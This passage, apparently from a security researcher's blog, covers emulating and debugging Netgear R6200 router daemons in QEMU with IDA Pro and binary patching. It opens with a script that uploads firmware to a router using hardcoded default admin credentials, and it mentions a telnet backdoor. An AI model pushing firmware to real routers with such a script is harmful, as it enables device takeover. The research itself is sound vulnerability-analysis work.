<span style="color: #6ab825; font-weight: bold;">import</span> <span style="color: #447fcf; text-decoration: underline;">sys</span>
<span style="color: #6ab825; font-weight: bold;">import</span> <span style="color: #447fcf; text-decoration: underline;">os</span>
<span style="color: #6ab825; font-weight: bold;">from</span> <span style="color: #447fcf; text-decoration: underline;">bowcaster.common</span> <span style="color: #6ab825; font-weight: bold;">import</span> <span style="color: #d0d0d0;">Logging</span>
<span style="color: #6ab825; font-weight: bold;">from</span> <span style="color: #447fcf; text-decoration: underline;">bowcaster.clients</span> <span style="color: #6ab825; font-weight: bold;">import</span> <span style="color: #d0d0d0;">HttpClient</span>
<span style="color: #6ab825; font-weight: bold;">from</span> <span style="color: #447fcf; text-decoration: underline;">bowcaster.clients</span> <span style="color: #6ab825; font-weight: bold;">import</span> <span style="color: #d0d0d0;">HTTPError</span>
<span style="color: #6ab825; font-weight: bold;">from</span> <span style="color: #447fcf; text-decoration: underline;">bowcaster.clients</span> <span style="color: #6ab825; font-weight: bold;">import</span> <span style="color: #d0d0d0;">MultipartForm</span>
<span style="color: #6ab825; font-weight: bold;">def</span> <span style="color: #447fcf;">send_fw</span><span style="color: #d0d0d0;">(url,fw_file):</span>
<span style="color: #d0d0d0;">logger=Logging(max_level=Logging.DEBUG)</span>
<span style="color: #d0d0d0;">logger.LOG_INFO(</span><span style="color: #ed9d13;">"Sending %s"</span> <span style="color: #d0d0d0;">%</span> <span style="color: #d0d0d0;">fw_file)</span>
<span style="color: #d0d0d0;">logger.LOG_INFO(</span><span style="color: #ed9d13;">"to %s"</span> <span style="color: #d0d0d0;">%</span> <span style="color: #d0d0d0;">url)</span>
<span style="color: #d0d0d0;">fw_file_basename=os.path.basename(fw_file)</span>
<span style="color: #d0d0d0;">logger.LOG_INFO(</span><span style="color: #ed9d13;">"Creating headers."</span><span style="color: #d0d0d0;">)</span>
<span style="color: #d0d0d0;">headers={</span><span style="color: #ed9d13;">"Accept"</span><span style="color: #d0d0d0;">:</span>
<span style="color: #ed9d13;">"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"</span><span style="color: #d0d0d0;">}</span>
<span style="color: #d0d0d0;">headers[</span><span style="color: #ed9d13;">"Accept-Language"</span><span style="color: #d0d0d0;">]=</span><span style="color: #ed9d13;">"en-US,en;q=0.5"</span>
<span style="color: #d0d0d0;">headers[</span><span style="color: #ed9d13;">"Accept-Encoding"</span><span style="color: #d0d0d0;">]=</span><span style="color: #ed9d13;">"gzip, deflate"</span>
<span style="color: #d0d0d0;">headers[</span><span style="color: #ed9d13;">"Referer"</span><span style="color: #d0d0d0;">]=</span><span style="color: #ed9d13;">"http://192.168.127.141/UPG_upgrade.htm"</span>
<span style="color: #999999; font-style: italic;">#admin:password</span>
<span style="color: #d0d0d0;">headers[</span><span style="color: #ed9d13;">"Authorization"</span><span style="color: #d0d0d0;">]=</span><span style="color: #ed9d13;">"Basic YWRtaW46cGFzc3dvcmQ="</span>
<span style="color: #d0d0d0;">headers[</span><span style="color: #ed9d13;">"Connection"</span><span style="color: #d0d0d0;">]=</span><span style="color: #ed9d13;">"keep-alive"</span>
<span style="color: #d0d0d0;">logger.LOG_INFO(</span><span style="color: #ed9d13;">"Creating post data"</span><span style="color: #d0d0d0;">)</span>
<span style="color: #d0d0d0;">mf=MultipartForm()</span>
<span style="color: #d0d0d0;">mf.add_field(</span><span style="color: #ed9d13;">"buttonHit"</span><span style="color: #d0d0d0;">,</span><span style="color: #ed9d13;">"Upgrade"</span><span style="color: #d0d0d0;">)</span>
<span style="color: #d0d0d0;">mf.add_field(</span><span style="color: #ed9d13;">"buttonValue"</span><span style="color: #d0d0d0;">,</span><span style="color: #ed9d13;">"Upload"</span><span style="color: #d0d0d0;">)</span>
<span style="color: #d0d0d0;">mf.add_field(</span><span style="color: #ed9d13;">"IS_check_upgrade"</span><span style="color: #d0d0d0;">,</span><span style="color: #ed9d13;">"0"</span><span style="color: #d0d0d0;">)</span>
<span style="color: #d0d0d0;">mf.add_field(</span><span style="color: #ed9d13;">"ver_check_enable"</span><span style="color: #d0d0d0;">,</span><span style="color: #ed9d13;">"1"</span><span style="color: #d0d0d0;">)</span>
<span style="color: #d0d0d0;">mf.add_file(</span><span style="color: #ed9d13;">"mtenFWUpload"</span><span style="color: #d0d0d0;">,fw_file)</span>
<span style="color: #d0d0d0;">mf.add_field(</span><span style="color: #ed9d13;">"upfile"</span><span style="color: #d0d0d0;">,fw_file_basename)</span>
<span style="color: #d0d0d0;">mf.add_field(</span><span style="color: #ed9d13;">"Upgrade"</span><span style="color: #d0d0d0;">,</span><span style="color: #ed9d13;">"Upload"</span><span style="color: #d0d0d0;">)</span>
<span style="color: #d0d0d0;">mf.add_field(</span><span style="color: #ed9d13;">"progress"</span><span style="color: #d0d0d0;">,</span><span style="color: #ed9d13;">""</span><span style="color: #d0d0d0;">)</span>
<span style="color: #d0d0d0;">post_data=</span><span style="color: #24909d;">str</span><span style="color: #d0d0d0;">(mf)</span>
<span style="color: #d0d0d0;">headers[</span><span style="color: #ed9d13;">"Content-Length"</span><span style="color: #d0d0d0;">]=(</span><span style="color: #ed9d13;">"%s"</span> <span style="color: #d0d0d0;">%</span> <span style="color: #24909d;">len</span><span style="color: #d0d0d0;">(post_data))</span>
<span style="color: #d0d0d0;">headers[</span><span style="color: #ed9d13;">"Content-Type"</span><span style="color: #d0d0d0;">]=mf.get_content_type()</span>
<span style="color: #d0d0d0;">client=HttpClient()</span>
<span style="color: #d0d0d0;">logger.LOG_INFO(</span><span style="color: #ed9d13;">"Sending request."</span><span style="color: #d0d0d0;">)</span>
<span style="color: #d0d0d0;">resp=client.send(url,headers=headers,post_data=post_data,logger=logger)</span>
<span style="color: #6ab825; font-weight: bold;">return</span> <span style="color: #d0d0d0;">resp</span>
<span style="color: #6ab825; font-weight: bold;">def</span> <span style="color: #447fcf;">main</span><span style="color: #d0d0d0;">(fw_file,host=</span><span style="color: #24909d;">None</span><span style="color: #d0d0d0;">):</span>
<span style="color: #6ab825; font-weight: bold;">if</span> <span style="color: #6ab825; font-weight: bold;">not</span> <span style="color: #d0d0d0;">host:</span>
<span style="color: #d0d0d0;">host=</span><span style="color: #ed9d13;">"192.168.127.141"</span>
<span style="color: #d0d0d0;">url=</span><span style="color: #ed9d13;">"http://%s/upgrade_check.cgi"</span> <span style="color: #d0d0d0;">%</span> <span style="color: #d0d0d0;">host</span>
<span style="color: #d0d0d0;">resp=send_fw(url,fw_file)</span>
<span style="color: #6ab825; font-weight: bold;">print</span> <span style="color: #d0d0d0;">resp</span>
<span style="color: #6ab825; font-weight: bold;">if</span> <span style="color: #d0d0d0;">__name__</span> <span style="color: #d0d0d0;">==</span> <span style="color: #ed9d13;">"__main__"</span><span style="color: #d0d0d0;">:</span>
<span style="color: #6ab825; font-weight: bold;">if</span><span style="color: #d0d0d0;">(</span><span style="color: #24909d;">len</span><span style="color: #d0d0d0;">(sys.argv)</span> <span style="color: #d0d0d0;">==</span> <span style="color: #3677a9;">2</span><span style="color: #d0d0d0;">):</span>
<span style="color: #d0d0d0;">main(sys.argv[</span><span style="color: #3677a9;">1</span><span style="color: #d0d0d0;">])</span>
<span style="color: #6ab825; font-weight: bold;">elif</span> <span style="color: #24909d;">len</span><span style="color: #d0d0d0;">(sys.argv)</span> <span style="color: #d0d0d0;">==</span> <span style="color: #3677a9;">3</span><span style="color: #d0d0d0;">:</span>
<span style="color: #d0d0d0;">main(sys.argv[</span><span style="color: #3677a9;">1</span><span style="color: #d0d0d0;">],host=sys.argv[</span><span style="color: #3677a9;">2</span><span style="color: #d0d0d0;">])</span>
<span style="color: #6ab825; font-weight: bold;">else</span><span style="color: #d0d0d0;">:</span>
<span style="color: #6ab825; font-weight: bold;">print</span><span style="color: #d0d0d0;">(</span><span style="color: #ed9d13;">"Specify at least firmware file."</span><span style="color: #d0d0d0;">)</span>
<span style="color: #d0d0d0;">sys.exit(</span><span style="color: #3677a9;">1</span><span style="color: #d0d0d0;">)</span>
</pre>
</div>
<br />Zach Cutliphttp://www.blogger.com/profile/04234441021013504307noreply@blogger.comtag:blogger.com,1999:blog-9636763.post-23782152733958092452015-01-31T00:43:00.000-08:002015-01-31T13:09:55.205-08:00Patching, Emulating, and Debugging a Netgear Embedded Web ServerPreviously I <a href="http://shadow-file.blogspot.com/2015/01/dynamically-analyzing-wifi-routers-upnp.html">posted</a> about running and remotely debugging a Netgear UPnP daemon using QEMU and IDA Pro. This time we’ll take on the challenge of running the built-in web server from the Netgear R6200 in emulation.<br />
<br />
The <code>httpd</code> daemon is responsible for so much more than the web interface. This daemon is responsible for a silly amount of system management, including configuring firewall rules, managing the samba and ftp file servers, managing attached USB storage, and many other things. And it does all of this management as part of its initialization, which means lots of opportunities to fail or crash when running in emulation as a standalone service.<br />
<br />
Running this device’s web server in emulation involves substantially more work, but it is still doable. First we need to figure out how to invoke the httpd program. Below is a script I use to start up httpd in emulation.<br />
<br />
<div style="background-color: #202020; overflow: auto; padding: 0.2em 0.6em; width: auto;">
<pre style="line-height: 16.25px; margin: 0px;"><span style="color: #999999; font-style: italic;">#!/bin/sh</span>
<span style="color: #999999; font-style: italic;"># runhttpd.sh</span>
<span style="color: #999999; font-style: italic;"># run with DEBUG=1 to attach gdbserver</span>
<span style="color: #40ffff;">ROOTFS</span><span style="color: #d0d0d0;">=</span>/root/code/wifi-reversing/netgear/r6200/extracted-1.0.0.28/rootfs
<span style="color: #40ffff;">DEBUGGER</span><span style="color: #d0d0d0;">=</span><span style="color: #ed9d13;">""</span>
<span style="color: #6ab825; font-weight: bold;">if</span> <span style="color: #d0d0d0;">[</span> <span style="color: #ed9d13;">"x1"</span> <span style="color: #d0d0d0;">=</span> <span style="color: #ed9d13;">"x$DEBUG"</span> <span style="color: #d0d0d0;">]</span>;
<span style="color: #6ab825; font-weight: bold;">then</span>
<span style="color: #40ffff;">DEBUGGER</span><span style="color: #d0d0d0;">=</span><span style="color: #ed9d13;">"./gdbserver 0.0.0.0:1234"</span>
<span style="color: #6ab825; font-weight: bold;">fi</span>
rm ./tmp/shm_id
rm ./var/run/httpd.pid
ipcrm -S 0x0001e240
<span style="color: #6ab825; font-weight: bold;">for </span>ipc in <span style="color: #6ab825; font-weight: bold;">$(</span>ipcs -m | grep 0x | cut -d <span style="color: #ed9d13;">" "</span> -f 2<span style="color: #6ab825; font-weight: bold;">)</span>; <span style="color: #6ab825; font-weight: bold;">do </span>ipcrm -m <span style="color: #40ffff;">$ipc</span>; <span style="color: #6ab825; font-weight: bold;">done</span>
chroot <span style="color: #40ffff;">$ROOTFS</span> /bin/sh -c <span style="color: #ed9d13;">"LD_PRELOAD=/libnvram-faker.so $DEBUGGER /usr/sbin/httpd -S -E /usr/sbin/ca.pem /usr/sbin/httpsd.pem"</span>
</pre>
</div>
<br />
I partly based this on the command line arguments that httpd is invoked with on the actual device. The script chroots into the router's filesystem and then runs httpd. Further, if you set DEBUG=1 on the command line, the script will use gdbserver to execute the daemon and wait for a debugger connection on port 1234.<br />
<br />
As with the UPnP daemon, an early challenge is the fact that QEMU doesn’t provide NVRAM for configuration parameters, so calls to <code>nvram_get()</code> will fail. We can work around this with my project <a href="https://github.com/zcutlip/nvram-faker">nvram-faker</a>. Nvram-faker is loaded using LD_PRELOAD and hooks calls to <code>nvram_get()</code>. It reads a configuration from a text file and prints the results of nvram queries to standard error. Queries for unknown parameters are printed in red, helping to diagnose what parameters are needed that you haven’t yet provided. If you don’t have an instance of the hardware, this is an exercise in guesswork and trial and error. You need to intuit sane values for the queried parameters and iteratively fill in missing parameters as they are queried. If you do have the actual gear, and you can get a shell[1] on the device, you can extract the NVRAM configuration from flash and convert it into an INI file for nvram-faker. I’ll post the nvram configuration I ended up using at the end.<br />
<br />
When attempting to run <code>httpd</code>, I found it kept crashing with <code>SIGBUS</code>. It turns out that on startup the daemon wants to open a shared memory segment for IPC. It looks for the file <code>/tmp/shm_id</code>, which may have been created by another process. If it finds that file it attempts to attach to the shared memory segment associated with the ID in the file. If the file doesn’t exist, then httpd opens a new shared memory segment and then writes the ID to that file. The problem is there is no check to see if <code>shmat()</code> failed, returning negative one (cast to a void *). In any case, the program attempts to deference the return value of <code>shmat()</code> at <code>0x00419308</code>. In the case of failure, <code>0xffffffff</code> is dereferenced, crashing the program. The crash is SIGBUS rather than SIGSEGV due to the misaligned memory access.<br />
<br />
<a href="https://www.flickr.com/photos/99298302@N02/15728919424" title="View 'shmat fail' on Flickr.com"><img alt="shmat fail" border="0" height="301" src="https://farm9.staticflickr.com/8642/15728919424_117c829e9a.jpg" style="display: block; margin-left: auto; margin-right: auto;" title="shmat fail" width="500" /></a><br />
<br />
If the http server has previously run and not exited cleanly, then <code>/tmp/shm_id</code> will hang around. The solution is easy: have our script delete <code>/tmp/shm_id</code> before starting the server.<br />
<br />
Another problem is that the http daemon…well…daemonizes. As far as I know, there’s no way to have IDA and gdbserver follow fork()s, so this is a problem. If we could get the daemon to run reliably, we could start it, let it daemonize, and then attach to the forked process. However, we’re going to need to do a fair amount of debugging just to get this program running, so letting it start and daemonize isn’t an option.<br />
<br />
<a href="https://www.flickr.com/photos/99298302@N02/15737216694" title="View 'jalr to daemon()' on Flickr.com"><img alt="jalr to daemon()" border="0" height="143" src="https://farm8.staticflickr.com/7407/15737216694_6028fd4e2e.jpg" style="display: block; margin-left: auto; margin-right: auto;" title="jalr to daemon()" width="500" /></a><br />
<br />
In the above screenshot we see the jump to <code>daemon()</code> at <code>0x004183fc</code>. The easiest approach is to patch out the call to <code>daemon()</code>.<br />
<br />
Just a few thoughts about binary patching: It’s important to keep in mind that if you change the binary you’re analyzing, you’re no longer analyzing the same program. Instead you’re analyzing some other, slightly different program, with different behaviors. Hopefully nothing you change will make a material difference, but it’s hard to know. For example, it may be difficult to tell if a function that you patched out would have initialized some global structures that will now result in a crash or a slightly different code path. Just be aware of the ramifications, and patch only when necessary.<br />
<br />
The return value of <code>daemon()</code> is checked and a value of 0 indicates success. A relatively nonintrusive way of replacing a call to <code>daemon()</code> and simulating success is to xor the $v0 register (which contains a function’s return value) with itself. The assembled bytes for the instruction:<br />
<pre></pre>
<pre>xor $v0,$v0</pre>
<br />
are:<br />
<pre></pre>
<pre>00 42 10 26 </pre>
<br />
The target system is little endian, so these bytes must be swapped:<br />
<pre></pre>
<pre>26 10 42 00 </pre>
<br />
I’ll leave the actual method[2] of assembling a single instruction and deriving its corresponding sequence of bytes as an exercise for the reader. If you have a cross compiler set up, one way is to create a source file with your instruction, assemble it with the gnu assembler, and then disassemble it with objdump. Another option is to use this lightweight python module, <a href="https://github.com/kmowery/mips-assembler">mips-assembler</a>.<br />
<br />
To patch the program using IDA, click on the instruction you want to patch, in this case the jalr to <code>daemon()</code> at <code>0x004183fc</code>. Then switch to IDA’s hex view. The corresponding bytes will be highlighted. Right click and select "edit".<br />
<br />
<a href="https://www.flickr.com/photos/99298302@N02/16189158708" title="View 'Hex editing in IDA' on Flickr.com"><img alt="Hex editing in IDA" border="0" height="261" src="https://farm8.staticflickr.com/7359/16189158708_987f57e162.jpg" style="display: block; margin-left: auto; margin-right: auto;" title="Hex editing in IDA" width="500" /></a><br />
<br />
The hex view changes to overwrite mode. Change the selected bytes to the ones corresponding to your patch. Right click again and choose “apply.” When you switch back to disassembly, you should see the patch.<br />
<br />
<a href="https://www.flickr.com/photos/99298302@N02/16173442379" title="View 'patch out call to daemon()' on Flickr.com"><img alt="patch out call to daemon()" border="0" height="142" src="https://farm8.staticflickr.com/7313/16173442379_de2b52b89d.jpg" style="display: block; margin-left: auto; margin-right: auto;" title="patch out call to daemon()" width="500" /></a><br />
<br />
Note that IDA hasn’t actually changed the original binary. In fact, one of IDA’s features is that once you disassemble a file, not only does it not touch the original file again, you don’t even need it. All you need from that point forward is the .idb file. However, IDA does have the ability to apply the patch to the original file. Select the Edit menu, “Patch Program,” then “Apply patches to input file.” IDA will prompt you to name the patch file and whether to make backup copy. This is a relatively new feature, so if you’re new to IDA, know that it wasn’t always this easy. Send <a href="mailto:support@hex-rays.com">Ilfak</a> an email thanking him.<br />
<br />
Now you should be able run the patched <code>httpd</code> without it daemonizing. Set a breakpoint somewhere past the original call to <code>daemon()</code> and verify that IDA stays attached.<br />
<br />
With the daemon running, you can start the iterative process of building up an NVRAM configuration that will satisfy the many initialization steps. The goal is for execution to reach the <code>select()</code> at <code>0x00415564</code> in the <code>http_d()</code> function.<br />
<br />
During this process, there was one initialization function that I wasn’t able to get past. The call to <code>fwPtRulesInit()</code> at <code>0x00419640</code> always hung in an endless loop. Since this has to do with firewall policy configuration, I decided it was worth the risk to patch it out with a nop instruction.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://www.flickr.com/photos/99298302@N02/16189262188" style="margin-left: 1em; margin-right: 1em;" title="patch out call to fwPtRulesInit() by Zachary Cutlip, on Flickr"><img alt="patch out call to fwPtRulesInit()" height="179" src="https://farm8.staticflickr.com/7348/16189262188_ce1fa6524e.jpg" width="500" /></a></div>
<br />
Here is the configuration I ended up with. I ended up using the complete configuration copied from the hardware's NVRAM. I tweaked a few settings such as LAN IP address, and the HTTP admin's password, but this is mostly a stock configuration[3]. (Apologies to mobile users. This is supposed to be a 500px iframe that shows about 20 lines and scrolls, but for some reason in my mobile browser, the entire 1500+ line configuration is rendered.)<br />
<br />
<iframe src="http://pastebin.com/embed_iframe.php?i=uEjxTpFn" style="border: none; height: 500px; overflow: scroll; width: 100%;"></iframe><br />
<br />
Once I had the trouble spots patched out and had a working configuration, I was able to get the web server running and responding to requests from a web browser. Mostly.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://www.flickr.com/photos/99298302@N02/16222008359" style="margin-left: 1em; margin-right: 1em;" title="webserver in emulation by Zachary Cutlip, on Flickr"><img alt="webserver in emulation" height="361" src="https://farm9.staticflickr.com/8669/16222008359_91ea6fe32c.jpg" width="500" /></a></div>
<br />
As you can see, the web interface chrome appears to be working, but the text is mostly missing. It turns out there was a bug in libnvram-faker. As the library handles NVRAM queries, it prints to the console the parameters and their values. The problem is it was printing to standard output. The web server executes a number of shell commands using <code>system()</code>. Some of those commands redirect their standard output to a file, which the web server then uses. In particular, at <code>0x004B5C40</code>, a string table gets generated by a shell command, then read in, and then immediately deleted. Since the file only exists for a moment, it's not obvious this is happening.<br />
<br />
Below, we see the function <code>CreateHeader()</code> getting called with two arguments. These are a string table in <code>/www</code>, and a compressed copy of the same file in <code>/tmp</code>.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://www.flickr.com/photos/99298302@N02/16407251902" style="margin-left: 1em; margin-right: 1em;" title="creating string table by Zachary Cutlip, on Flickr"><img alt="creating string table" height="83" src="https://farm8.staticflickr.com/7301/16407251902_83d852da3f.jpg" width="500" /></a></div>
<br />
Then in <code>CreateHeader()</code> we see a shell command being generated via <code>sprintf()</code> and then executed via <code>system()</code>. That shell command is <code>bzip2 -c somefile > some_other_file</code>. The resulting file is a redirection of bzip's standard output.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://www.flickr.com/photos/99298302@N02/16406421411" style="margin-left: 1em; margin-right: 1em;" title="bzip2 stdout by Zachary Cutlip, on Flickr"><img alt="bzip2 stdout" height="192" src="https://farm8.staticflickr.com/7342/16406421411_4cc40c9a71.jpg" width="500" /></a></div>
<br />
<br />
Once I noticed this, I set a breakpoint just after the bzip command, and was able to make a copy of the file. When I decompressed it, I saw that it had all of libnvram-faker's output mixed in with the strings. This had the result of breaking the templating system that generates the web interface's HTML and javascript. Once I fixed that in libnvram-faker, I was able to get the web server working.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://www.flickr.com/photos/99298302@N02/15785621154" style="margin-left: 1em; margin-right: 1em;" title="httpd working in emulation by Zachary Cutlip, on Flickr"><img alt="httpd working in emulation" height="351" src="https://farm8.staticflickr.com/7391/15785621154_7096545f8f.jpg" width="500" /></a></div>
<br />
This should get you started emulating and debugging some more challenging binaries. With enough work you can get fairly complicated programs from an embedded device running in emulation. Sometimes this is convenient, so you don't have to carry actual gear around when you're doing research. Other times, it's necessary; you may not be able to get interactive access to the hardware in order to debug its processes. In that case, emulation may be your only choice.<br />
<br />
------------------------<br />
[1] Many devices have a UART connection which will let you connect via minicom or other serial terminal in order to get console access. Further, nearly every consumer Netgear device has a <a href="https://code.google.com/p/netgear-telnetenable/">telnet backdoor</a> listening on the local network.<br />
<br />
[2] I use a tool that Craig Heffner wrote called “shellgasm.” It’s a nifty python program that calls gcc and objdump from your cross compiler toolchain. It will also turn asm code into a C-style or Python-style byte array that can be used for payloads in buffer overflows and such. Unfortunately it’s not available anywhere. Maybe if you pester Craig, he’ll post it on Github.<br />
<br />
[3] This was actually more work than it sounds like. There was a bug in libnvram-faker. It didn't allocate enough memory to accommodate all the lines of the INI file. This resulted in a crash with large configuration files. The crash was difficult to debug, so I mostly worked around it by iteratively uncommenting parts of the file until the web server worked. Just before finishing this post, I finally tracked down the bug, so now I can use the entire 1500+ lines of the default configuration.Zach Cutliphttp://www.blogger.com/profile/04234441021013504307noreply@blogger.comtag:blogger.com,1999:blog-9636763.post-33241056981290948752015-01-03T12:05:00.000-08:002015-01-04T09:02:06.461-08:00Remote Debugging with QEMU and IDA ProIt's often the case, when analyzing an embedded device's firmware, that static analysis isn't enough. You need to actually execute a binary you're analyzing in order to see how it behaves. In the world of embedded Linux devices, it's often fairly easy to put a debugger on the target hardware for debugging. However it's a lot more convenient if you can run the binary right on your own system and not have to drag hardware around to do your analysis. Enter emulation with QEMU.<br />
<br />
An upcoming series of posts will focus on reverse engineering the UPnP daemon for one of Netgear's more popular wireless routers. This post will describe how to run that daemon in system emulation so that it can analyzed in a debugger.<br />
<br />
<h3>
Prerequisites</h3>
First, I'd recommend reading the description I posted of my workspace and tools that I use. <a href="http://shadow-file.blogspot.com/2013/12/emulating-and-debugging-workspace.html">Here's a link</a>.<br />
<br />
You'll need an emulated MIPS Linux environment. For that, I'll refer readers to my previous <a href="http://shadow-file.blogspot.com/2013/05/running-debian-mips-linux-in-qemu.html">post</a> on setting up QEMU.<br />
<br />
You'll also need a MIPS Linux cross compiler. I won't go into the details of setting this up because cross compilers are kind of a mess. Sometimes you need an older toolchain, and other times you need a newer toolchain. A good starting point is to build both big endian and little endian MIPS Linux toolchains using the<a href="http://buildroot.uclibc.org/"> uClibc buildroot project</a>. In addition to that, whenever I find other cross compiling toolchains, I save them. A good source of older toolchains is the GPL release tarballs that vendors like D-Link and Netgear make available.<br />
<br />
Once you have a cross compiling toolchain for your target architecture, you'll need to build GDB for that target. At the very least, you'll need gdbserver statically compiled for the target. If you want to remotely debug using GDB, you'll need gdb compiled to run on your local architecture (e.g., x86-64) and to debug your target architecture (e.g., mips or mipsel). Again, I won't go into building these tools, but if you have your toolchains set up, it shouldn't be too bad.<br />
<br />
I use IDA Pro, so that's how I'll describe remote debugging. However, if you want to use gdb check out my MIPS gdbinit file: https://github.com/zcutlip/gdbinit-mips<br />
<br />
<h3>
Emulating a Simple Binary</h3>
<div>
Assuming you've gotten the tools described above set up and working properly, you should now be able to SSH into your emulated MIPS system. As described in my Debian MIPS QEMU post, I like to bridge QEMU's interface to VMWare's NAT interface so I can SSH in from my Mac, without first shelling into my Ubuntu VM. This also allows me to mount my Mac's workspace right in the QEMU system via NFS. That way whether I'm working in the host environment, in Ubuntu, or in QEMU, I'm working with the same workspace.</div>
<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #888888;">zach@malastare:~ (130) $ ssh root@192.168.127.141</span>
<span style="color: #888888;">root@192.168.127.141's password:</span>
<span style="color: #888888;">Linux debian-mipsel 2.6.32-5-4kc-malta #1 Wed Jan 12 06:13:27 UTC 2011 mips</span>
<span style="color: #c65d09; font-weight: bold;">root@debian-mipsel:~#</span> mount
<span style="color: #888888;">/dev/sda1 on / type ext3 (rw,errors=remount-ro)</span>
<span style="color: #888888;">malastare:/Users/share/code on /root/code type nfs (rw,addr=192.168.127.1)</span>
<span style="color: #c65d09; font-weight: bold;">root@debian-mipsel:~#</span> <span style="color: #007020;">cd </span>code
<span style="color: #c65d09; font-weight: bold;">root@debian-mipsel:~/code#</span>
</pre>
</div>
<br />
Once shelled into your emulated system, cd into the extracted file system from your device's firmware. You should be able to chroot into the firmware's root file system. You need to use chroot since the target binary is linked against the firmware's libraries and likely won't work with Debian's shared libraries.<br />
<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #c65d09; font-weight: bold;">root@debian-mipsel:~#</span> <span style="color: #007020;">cd </span>code/wifi-reversing/netgear/r6200/extracted-1.0.0.28/rootfs/
<span style="color: #c65d09; font-weight: bold;">root@debian-mipsel:~/code/wifi-reversing/netgear/r6200/extracted-1.0.0.28/rootfs#</span> file ./bin/ls
<span style="color: #888888;">./bin/ls: symbolic link to `busybox'</span>
<span style="color: #c65d09; font-weight: bold;">root@debian-mipsel:~/code/wifi-reversing/netgear/r6200/extracted-1.0.0.28/rootfs#</span> file ./bin/busybox
<span style="color: #888888;">./bin/busybox: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked (uses shared libs), stripped</span>
<span style="color: #c65d09; font-weight: bold;">root@debian-mipsel:~/code/wifi-reversing/netgear/r6200/extracted-1.0.0.28/rootfs#</span> chroot . /bin/ls -l /bin/busybox
<span style="color: #888888;">-rwxr-xr-x 1 10001 80 276413 Sep 20 2012 /bin/busybox</span>
<span style="color: #c65d09; font-weight: bold;">root@debian-mipsel:~/code/wifi-reversing/netgear/r6200/extracted-1.0.0.28/rootfs#</span>
</pre>
</div>
<br />
In the above example, I have changed into the root directory of the extracted file system. Then using the file command I show that busybox is a little endian MIPS executable. Then I chrooted into the extracted root directory and ran <span style="font-family: Courier New, Courier, monospace;">bin/ls</span>, which is a symlink to busybox.<br />
<br />
If you attempt to simply start a chrooted shell with "<span style="font-family: Courier New, Courier, monospace;">chroot .</span>", it won't work. Your user's default shell is bash, and most embedded devices don't have bash.<br />
<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #c65d09; font-weight: bold;">root@debian-mipsel:~/code/wifi-reversing/netgear/r6200/extracted-1.0.0.28/rootfs#</span> chroot .
<span style="color: #888888;">chroot: failed to run command `/bin/bash': No such file or directory</span>
<span style="color: #c65d09; font-weight: bold;">root@debian-mipsel:~/code/wifi-reversing/netgear/r6200/extracted-1.0.0.28/rootfs#</span>
</pre>
</div>
<br />
Instead you can chroot and execute <span style="font-family: Courier New, Courier, monospace;">bin/sh</span>:<br />
<!-- HTML generated using hilite.me --><br />
<div style="background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;">
<pre style="line-height: 125%; margin: 0;"><span style="color: #c65d09; font-weight: bold;">root@debian-mipsel:~/code/wifi-reversing/netgear/r6200/extracted-1.0.0.28/rootfs#</span> chroot . /bin/sh
<span style="color: #888888;">BusyBox v1.7.2 (2012-09-20 10:26:08 CST) built-in shell (ash)</span>
<span style="color: #888888;">Enter 'help' for a list of built-in commands.</span>
<span style="color: #c65d09; font-weight: bold;">#</span>
<span style="color: #c65d09; font-weight: bold;">#</span>
<span style="color: #c65d09; font-weight: bold;">#</span> <span style="color: #007020;">exit</span>
<span style="color: #c65d09; font-weight: bold;">root@debian-mipsel:~/code/wifi-reversing/netgear/r6200/extracted-1.0.0.28/rootfs#</span>
</pre>
</div>
<br />
<h3>
Hardware Workarounds</h3>
<div>
Even with the necessary tools and emulation environment set up and working properly, you can still run into roadblocks. Although QEMU does a pretty good job of emulating the core chipset, including the CPU, there is often hardware the binary you're trying to run is expecting that QEMU can't provide. If you try to emulate something simple like <span style="font-family: Courier New, Courier, monospace;">/bin/ls</span>, that will usually work fine. But something more complicated such as the UPnP daemon will almost certainly have particular hardware dependencies that QEMU isn't going to satisfy. This is especially true for programs whose job it is to <i>manage</i> the embedded system's hardware, such as turning wireless adapters on or off.</div>
<div>
<br /></div>
<div>
The most common problem you will run into when running system services such as the web server or UPnP daemon is the lack of NVRAM. Non-volatile RAM is usually a partition of the device's flash storage that contains configuration parameters. When a daemon starts up, it will usually attempt to query NVRAM for its run-time configuration. Sometimes a daemon will query NVRAM for tens or even hundreds of parameters.</div>
<div>
<br /></div>
<div>
To work around the lack of NVRAM in emulation, I wrote a library called nvram-faker. The nvram-faker library should be preloaded using LD_PRELOAD when you run your binary. It will intercept calls to <span style="font-family: Courier New, Courier, monospace;">nvram_get()</span>, normally provided by libnvram.so. Rather than attempting to query NVRAM, nvram-faker will query an INI-style configuration file that you provide.</div>
<div>
<br /></div>
<div>
The included README provides a more complete description. Here's a link to the project:</div>
<div>
<a href="https://github.com/zcutlip/nvram-faker">https://github.com/zcutlip/nvram-faker</a></div>
<div>
<br />
